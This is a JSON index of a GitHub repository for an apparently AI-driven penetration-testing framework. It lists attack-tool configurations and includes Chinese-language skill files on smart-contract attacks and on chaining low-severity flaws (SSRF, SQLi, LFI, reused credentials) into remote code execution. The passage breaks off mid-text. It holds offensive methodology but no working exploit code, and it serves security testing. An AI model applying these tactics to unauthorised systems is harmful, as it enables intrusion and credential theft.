GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dnslog.yaml)","tools/dotdotpwn.yaml":"# Tools Skill\n\nPath: `tools/dotdotpwn.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dotdotpwn.yaml)","tools/enum4linux-ng.yaml":"# Tools Skill\n\nPath: `tools/enum4linux-ng.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/enum4linux-ng.yaml)","tools/exec.yaml":"# Tools Skill\n\nPath: `tools/exec.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/exec.yaml)","tools/execute-python-script.yaml":"# Tools Skill\n\nPath: `tools/execute-python-script.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/execute-python-script.yaml)","tools/exiftool.yaml":"# Tools Skill\n\nPath: `tools/exiftool.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/exiftool.yaml)","tools/falco.yaml":"# Tools Skill\n\nPath: `tools/falco.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/falco.yaml)","tools/feroxbuster.yaml":"# Tools Skill\n\nPath: `tools/feroxbuster.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/feroxbuster.yaml)","tools/ffuf.yaml":"# Tools Skill\n\nPath: `tools/ffuf.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ffuf.yaml)","tools/fierce.yaml":"# Tools Skill\n\nPath: `tools/fierce.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/fierce.yaml)","tools/fofa_search.yaml":"# Tools Skill\n\nPath: `tools/fofa_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/fofa_search.yaml)","tools/foremost.yaml":"# Tools Skill\n\nPath: `tools/foremost.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/foremost.yaml)","tools/fscan.yaml":"# Tools Skill\n\nPath: `tools/fscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/fscan.yaml)","tools/gau.yaml":"# Tools Skill\n\nPath: `tools/gau.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/gau.yaml)","tools/gdb.yaml":"# Tools Skill\n\nPath: `tools/gdb.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/gdb.yaml)","tools/ghidra.yaml":"# Tools Skill\n\nPath: `tools/ghidra.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ghidra.yaml)","tools/gobuster.yaml":"# Tools Skill\n\nPath: `tools/gobuster.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/gobuster.yaml)","tools/graphql-scanner.yaml":"# Tools Skill\n\nPath: `tools/graphql-scanner.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/graphql-scanner.yaml)","tools/hashcat.yaml":"# Tools Skill\n\nPath: `tools/hashcat.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/hashcat.yaml)","tools/hashpump.yaml":"# Tools Skill\n\nPath: `tools/hashpump.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/hashpump.yaml)","tools/http-framework-test.yaml":"# Tools Skill\n\nPath: `tools/http-framework-test.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/http-framework-test.yaml)","tools/hydra.yaml":"# Tools Skill\n\nPath: `tools/hydra.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/hydra.yaml)","tools/impacket.yaml":"# Tools Skill\n\nPath: `tools/impacket.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/impacket.yaml)","tools/install-python-package.yaml":"# Tools Skill\n\nPath: `tools/install-python-package.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/install-python-package.yaml)","tools/jaeles.yaml":"# Tools Skill\n\nPath: `tools/jaeles.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/jaeles.yaml)","tools/john.yaml":"# Tools Skill\n\nPath: `tools/john.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/john.yaml)","tools/jwt-analyzer.yaml":"# Tools Skill\n\nPath: `tools/jwt-analyzer.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/jwt-analyzer.yaml)","tools/katana.yaml":"# Tools Skill\n\nPath: `tools/katana.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/katana.yaml)","tools/kube-bench.yaml":"# Tools Skill\n\nPath: `tools/kube-bench.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/kube-bench.yaml)","tools/kube-hunter.yaml":"# Tools Skill\n\nPath: `tools/kube-hunter.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/kube-hunter.yaml)","tools/libc-database.yaml":"# Tools Skill\n\nPath: `tools/libc-database.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/libc-database.yaml)","tools/lightx.yaml":"# Tools Skill\n\nPath: `tools/lightx.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/lightx.yaml)","tools/linpeas.yaml":"# Tools Skill\n\nPath: `tools/linpeas.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/linpeas.yaml)","tools/masscan.yaml":"# Tools Skill\n\nPath: `tools/masscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/masscan.yaml)","tools/metasploit.yaml":"# Tools Skill\n\nPath: `tools/metasploit.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/metasploit.yaml)","tools/msfvenom.yaml":"# Tools Skill\n\nPath: `tools/msfvenom.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/msfvenom.yaml)","tools/nbtscan.yaml":"# Tools Skill\n\nPath: `tools/nbtscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nbtscan.yaml)","tools/netexec.yaml":"# Tools Skill\n\nPath: `tools/netexec.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/netexec.yaml)","tools/nikto.yaml":"# Tools Skill\n\nPath: `tools/nikto.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nikto.yaml)","tools/nmap.yaml":"# Tools Skill\n\nPath: `tools/nmap.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nmap.yaml)","tools/nuclei.yaml":"# Tools Skill\n\nPath: `tools/nuclei.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nuclei.yaml)","tools/objdump.yaml":"# Tools Skill\n\nPath: `tools/objdump.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/objdump.yaml)","tools/one-gadget.yaml":"# Tools Skill\n\nPath: `tools/one-gadget.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/one-gadget.yaml)","tools/pacu.yaml":"# Tools Skill\n\nPath: `tools/pacu.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/pacu.yaml)","tools/paramspider.yaml":"# Tools Skill\n\nPath: `tools/paramspider.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/paramspider.yaml)","tools/prowler.yaml":"# Tools Skill\n\nPath: `tools/prowler.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/prowler.yaml)","tools/pwninit.yaml":"# Tools Skill\n\nPath: `tools/pwninit.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/pwninit.yaml)","tools/pwntools.yaml":"# Tools Skill\n\nPath: `tools/pwntools.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/pwntools.yaml)","tools/quake_search.yaml":"# Tools Skill\n\nPath: `tools/quake_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/quake_search.yaml)","tools/query-execution-result.yaml":"# Tools Skill\n\nPath: `tools/query-execution-result.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/query-execution-result.yaml)","tools/radare2.yaml":"# Tools Skill\n\nPath: `tools/radare2.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/radare2.yaml)","tools/README.md":"# tools Documentation\n\nPath: `tools/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/README.md)","tools/README_EN.md":"# Tools Skill\n\nPath: `tools/README_EN.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/README_EN.md)","tools/responder.yaml":"# Tools Skill\n\nPath: `tools/responder.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/responder.yaml)","tools/ropgadget.yaml":"# Tools Skill\n\nPath: `tools/ropgadget.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ropgadget.yaml)","tools/ropper.yaml":"# Tools Skill\n\nPath: `tools/ropper.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ropper.yaml)","tools/rpcclient.yaml":"# Tools Skill\n\nPath: `tools/rpcclient.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/rpcclient.yaml)","tools/rustscan.yaml":"# Tools Skill\n\nPath: `tools/rustscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/rustscan.yaml)","tools/scout-suite.yaml":"# Tools Skill\n\nPath: `tools/scout-suite.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/scout-suite.yaml)","tools/shodan_search.yaml":"# Tools Skill\n\nPath: `tools/shodan_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/shodan_search.yaml)","tools/smbmap.yaml":"# Tools Skill\n\nPath: `tools/smbmap.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/smbmap.yaml)","tools/sqlmap.yaml":"# Tools Skill\n\nPath: `tools/sqlmap.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/sqlmap.yaml)","tools/steghide.yaml":"# Tools Skill\n\nPath: `tools/steghide.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/steghide.yaml)","tools/strings.yaml":"# Tools Skill\n\nPath: `tools/strings.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/strings.yaml)","tools/subfinder.yaml":"# Tools Skill\n\nPath: `tools/subfinder.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/subfinder.yaml)","tools/terrascan.yaml":"# Tools Skill\n\nPath: `tools/terrascan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/terrascan.yaml)","tools/trivy.yaml":"# Tools Skill\n\nPath: `tools/trivy.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/trivy.yaml)","tools/virustotal_search.yaml":"# Tools Skill\n\nPath: `tools/virustotal_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/virustotal_search.yaml)","tools/volatility3.yaml":"# Tools Skill\n\nPath: `tools/volatility3.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/volatility3.yaml)","tools/wafw00f.yaml":"# Tools Skill\n\nPath: `tools/wafw00f.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/wafw00f.yaml)","tools/waybackurls.yaml":"# Tools Skill\n\nPath: `tools/waybackurls.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/waybackurls.yaml)","tools/wpscan.yaml":"# Tools Skill\n\nPath: `tools/wpscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/wpscan.yaml)","tools/x8.yaml":"# Tools Skill\n\nPath: `tools/x8.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/x8.yaml)","tools/xsser.yaml":"# Tools Skill\n\nPath: `tools/xsser.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/xsser.yaml)","tools/xxd.yaml":"# Tools Skill\n\nPath: `tools/xxd.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/xxd.yaml)","tools/zap.yaml":"# Tools Skill\n\nPath: `tools/zap.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/zap.yaml)","tools/zoomeye_search.yaml":"# Tools Skill\n\nPath: `tools/zoomeye_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/zoomeye_search.yaml)","tools/zsteg.yaml":"# Tools Skill\n\nPath: `tools/zsteg.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/zsteg.yaml)","skills/cyberstrike-eino-demo/FORMS.md":"# Cyberstrike-eino-demo Skill\n\nPath: `skills/cyberstrike-eino-demo/FORMS.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/FORMS.md)","skills/cyberstrike-eino-demo/REFERENCE.md":"# Cyberstrike-eino-demo Skill\n\nPath: `skills/cyberstrike-eino-demo/REFERENCE.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/REFERENCE.md)","plugins/burp-suite/cyberstrikeai-burp-extension/README.md":"# cyberstrikeai-burp-extension Documentation\n\nPath: `plugins/burp-suite/cyberstrikeai-burp-extension/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/burp-suite/cyberstrikeai-burp-extension/README.md)","plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md":"# Cyberstrikeai-burp-extension Skill\n\nPath: `plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md)","plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json":"# Cyberstrikeai-browser-extension Skill\n\nPath: `plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json)","plugins/browser-extension/cyberstrikeai-browser-extension/README.md":"# cyberstrikeai-browser-extension Documentation\n\nPath: `plugins/browser-extension/cyberstrikeai-browser-extension/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/README.md)","plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md":"# Cyberstrikeai-browser-extension Skill\n\nPath: `plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md)","skills/cyberstrike-eino-demo/references/citations.md":"# References Skill\n\nPath: `skills/cyberstrike-eino-demo/references/citations.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/references/citations.md)","skills/cyberstrike-eino-demo/scripts/report-snippet.json":"# Scripts Skill\n\nPath: `skills/cyberstrike-eino-demo/scripts/report-snippet.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/scripts/report-snippet.json)"},"items":[{"name":"SKILL.md","path":"mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md","title":"find-skills","category":"anthropic-skill","format":"markdown","content":"# find-skills\n\nPath: `mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md)","tokens":300,"sizeBytes":246},{"name":"manifest.json","path":"plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json","title":"Cyberstrikeai-browser-extension Skill","category":"anthropic-skill","format":"json","content":"# Cyberstrikeai-browser-extension Skill\n\nPath: `plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json)","tokens":300,"sizeBytes":284},{"name":"README.zh-CN.md","path":"plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md","title":"Cyberstrikeai-browser-extension Skill","category":"anthropic-skill","format":"markdown","content":"# Cyberstrikeai-browser-extension Skill\n\nPath: `plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md)","tokens":300,"sizeBytes":288},{"name":"README.zh-CN.md","path":"plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md","title":"Cyberstrikeai-burp-extension Skill","category":"anthropic-skill","format":"markdown","content":"# Cyberstrikeai-burp-extension Skill\n\nPath: `plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md)","tokens":300,"sizeBytes":265},{"name":"SKILL.md","path":"skills/active-directory-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/active-directory-attack/SKILL.md","title":"active-directory-attack","category":"anthropic-skill","format":"markdown","content":"# active-directory-attack\n\nPath: `skills/active-directory-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/active-directory-attack/SKILL.md)","tokens":300,"sizeBytes":206},{"name":"SKILL.md","path":"skills/ai-llm-app-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/ai-llm-app-attack/SKILL.md","title":"ai-llm-app-attack","category":"anthropic-skill","format":"markdown","content":"# ai-llm-app-attack\n\nPath: `skills/ai-llm-app-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/ai-llm-app-attack/SKILL.md)","tokens":300,"sizeBytes":188},{"name":"SKILL.md","path":"skills/attack-surface-recon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/attack-surface-recon/SKILL.md","title":"attack-surface-recon","category":"anthropic-skill","format":"markdown","content":"# attack-surface-recon\n\nPath: `skills/attack-surface-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/attack-surface-recon/SKILL.md)","tokens":300,"sizeBytes":197},{"name":"SKILL.md","path":"skills/binary-mobile-reversing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/binary-mobile-reversing/SKILL.md","title":"binary-mobile-reversing","category":"anthropic-skill","format":"markdown","content":"# binary-mobile-reversing\n\nPath: `skills/binary-mobile-reversing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/binary-mobile-reversing/SKILL.md)","tokens":300,"sizeBytes":206},{"name":"SKILL.md","path":"skills/blockchain-contract-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/blockchain-contract-attack/SKILL.md","title":"blockchain-contract-attack","category":"anthropic-skill","format":"markdown","content":"---\nname: blockchain-contract-attack\ndescription: >-\n  区块链/智能合约:Etherscan,slither/mythril,重入/访问控制/预言机/闪电贷,跨链桥,RPC暴露。Use when auditing smart contracts, DeFi, or blockchain attack surfaces.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 区块链 / 智能合约\n\n```\n=== 区块链/智能合约 ===\n源码: Etherscan getsourcecode API | 审计 slither/mythril/manticore\n手工: 重入(.call{value}先转账后改状态违反C-E-I) | 访问控制(onlyOwner缺失) | 整数溢出(<0.8无SafeMath)\n  预言机操纵(闪电贷瞬时操纵AMM价格) | 随机数(block.timestamp可控) | 授权滥用(无限approve/permit重放) | delegatecall代理storage冲突\nDeFi: 闪电贷攻击/三明治(抢跑)/治理攻击/签名重放 | 跨链桥:签名阈值绕过/重放 | RPC:暴露8545直接eth_sendTransaction\n```\n","frontmatter":{"name":"blockchain-contract-attack","description":"区块链/智能合约:Etherscan,slither/mythril,重入/访问控制/预言机/闪电贷,跨链桥,RPC暴露。Use when auditing smart contracts, DeFi, or blockchain attack surfaces.","metadata":{"tags":["渗透测试","penetration-testing","红队"]}},"isInternal":false,"tokens":341,"sizeBytes":877},{"name":"SKILL.md","path":"skills/capability-primitive-search/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/capability-primitive-search/SKILL.md","title":"capability-primitive-search","category":"anthropic-skill","format":"markdown","content":"---\nname: capability-primitive-search\ndescription: >-\n  能力原语+状态空间搜索:read/write/exec/ssrf等原语凑RCE等式A-F,低危映射,正反向搜索,跨域兑现。Use when no single RCE, chaining low-severity vulns, or deriving novel attack chains.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 能力原语 + 状态空间搜索\n\n```\n心法: RCE不是一个\"漏洞\",是一组\"能力\"凑齐后的涌现。没单点大洞时,几个info级/低危照样拼出代码执行。\n  固有思维(要打破): \"扫不到RCE/反序列化/上传→这站打不动了\"。你的活不是\"找RCE漏洞\",是\"凑齐执行所需的原语\"。\n  把每个Fact抽象成能力原语(不记\"发现X漏洞\",记\"现在拥有什么能力+限制\"):\n    read(path) write(path) exec(cmd) ssrf(url) sqli redirect(url) eval_expr idor(id) cred(svc,priv) coerce_auth write_acl\n\nRCE只需满足任意一条等式,拆成可获取的原语去凑:\n  A. 能写文件 + 文件被当代码执行                = RCE\n  B. 能控配置/env + 配置指向你的代码            = RCE\n  C. 能进管理面 + 面板自带执行功能              = RCE(不是漏洞,是功能!)\n  D. 有凭据 + 服务有合法执行入口                = RCE(滥用合法功能)\n  E. 能任意读 + 读到凭据 + 凭据可登录执行点      = RCE\n  F. 能控数据 + 数据流入危险sink(eval/模板/SQL) = RCE\n\n低危→原语映射(把\"鸡肋漏洞\"翻译成拼图碎片):\n  info泄露(.git/备份/堆栈)→源码/路径/密钥→喂B/E/F | LFI/任意读→读配置密钥→E,或日志投毒→A\n  SSRF(哪怕只GET)→打内网Redis/Consul/K8s/云元数据→C; 云元数据拿临时凭据→D\n  弱/默认/复用凭据→进带任务/插件/webhook/CI功能的后台→C | CORS/CSRF/XSS→借管理员浏览器调执行类功能→C\n  可控上传(哪怕限扩展名)→配路径穿越/解析差异/.htaccess→A | 配置写入→改模板/日志/连接串→B\n  SQLi(哪怕只读)→读hash/密钥→E,或OUTFILE→A | 模板可控→SSTI→F | 原型污染→污染下游属性→F\n\n状态空间搜索(无现成链时自己搜): 状态=当前能力集, 动作=用能力解锁新能力, 目标=Goal。\n  正向: 对每个能力问\"能解锁什么?\"; 对每对能力问\"组合出什么?\"\n    (read+write=改配置; ssrf+内网redis=RCE; sqli+FILE=webshell; coerce_auth+relay=域SYSTEM; idor+massassign=改他人admin)\n  反向(卡住时主用): 锁定Goal=执行命令→选最接近现状的等式当模板→缺哪个原语设为子目标→\n    手上哪个低危/功能/info泄露能凑出它?→凑不出递归拆/换等式 → 正反向在中间相遇=完整链浮现 → 逐段验证\n\n突破口(看到别走开):\n  ·\"功能即原语\": 后台的任务计划/插件/模板编辑/SQL控制台/文件管理器/导入导出/webhook —— 合法功能但登进去就是现成执行/读写原语。渗透者眼里没\"功能/漏洞\"之分,只有\"能力\"。\n  ·跨协议跳跃: SSRF的gopher/dict/file把\"只能发HTTP\"变成\"打Redis/发SMTP/读文件\"。\n  ·凭据复用是万能胶: 任意一处拿到的密码/key默认全网复用全部喷一遍。横向常比纵向快。\n  ·解析差异: 上传校验/路由/反代三方理解不一致→缝隙里有绕过(双扩展名/编码/Host混淆)。\n  ·时间维度: TOCTOU/token可预测/缓存投毒,把\"偶尔\"变\"稳定\",把不可利用变可利用。\n  ·跨域兑现: 每拿一个能力问\"它在别的域值多少钱\"——能力是通用货币。Web SSRF→进云元数据接管账户; APK硬编码→直连内部API绕前端鉴权; 供应链→拿CI密钥进生产。\n  ·创造模式(已知组合用尽时): 重审能力边界(只能读/var/log? /proc/self/environ呢) | 